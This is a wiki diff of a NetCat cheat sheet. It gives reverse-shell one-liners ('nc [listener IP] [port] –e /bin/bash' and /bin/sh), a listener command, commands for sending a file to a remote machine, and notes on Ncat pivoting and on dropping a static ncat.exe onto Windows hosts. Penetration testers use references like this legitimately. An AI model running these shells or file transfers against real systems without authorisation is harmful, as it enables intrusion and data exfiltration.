cheat_sheets_nc
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
cheat_sheets_nc [2022/11/20 20:24] – created gman | cheat_sheets_nc [2023/01/12 00:52] (current) – [NetCat (nc)] gman | ||
---|---|---|---|
Line 1: | Line 1: | ||
====== NetCat (nc) ====== | ====== NetCat (nc) ====== | ||
+ | |||
+ | NetCat is a popular **remote access tool.** | ||
+ | * It has a small footprint so it's portable. | ||
+ | * It can set up a reverse shell easily... | ||
Local listener for reverse shell: | Local listener for reverse shell: | ||
Line 14: | Line 18: | ||
< | < | ||
- | # For Linux: | + | # For Linux (either or): |
nc [listener IP] [port] –e /bin/bash | nc [listener IP] [port] –e /bin/bash | ||
+ | nc [listener IP] [port] –e /bin/sh | ||
# For Windows: | # For Windows: | ||
Line 24: | Line 29: | ||
< | < | ||
+ | |||
+ | Send output from a listener to a text file: | ||
+ | |||
+ | < | ||
+ | nc -nvlp [port number] > filename.txt | ||
+ | </ | ||
+ | |||
+ | Send output from a text file to a remote machine: | ||
+ | |||
+ | < | ||
+ | nc [IP Address] [port] < filename.txt | ||
+ | </ | ||
+ | |||
+ | ---- | ||
===== NetCat Download ===== | ===== NetCat Download ===== | ||
Line 39: | Line 58: | ||
**Source**: [[https:// | **Source**: [[https:// | ||
- | ==== Ncat ==== | + | ---- |
+ | |||
+ | ====== Ncat ====== | ||
[[https:// | [[https:// | ||
+ | * I has a variety of different capabilities... | ||
+ | * SSL | ||
+ | * Proxies | ||
+ | * SendMail | ||
+ | * Chain together Ncat sessions for pivoting. | ||
If you need a statically compiled version of ncat.exe that you can just drop on a Windows system and use without having to run any installer or copy over extra library files: [[https:// | If you need a statically compiled version of ncat.exe that you can just drop on a Windows system and use without having to run any installer or copy over extra library files: [[https:// | ||
Line 49: | Line 75: | ||
If you need a portable version of a newer Ncat release, see the [[ https:// | If you need a portable version of a newer Ncat release, see the [[ https:// | ||
- | ---- | ||
cheat_sheets_nc.1668975840.txt.gz · Last modified: by gman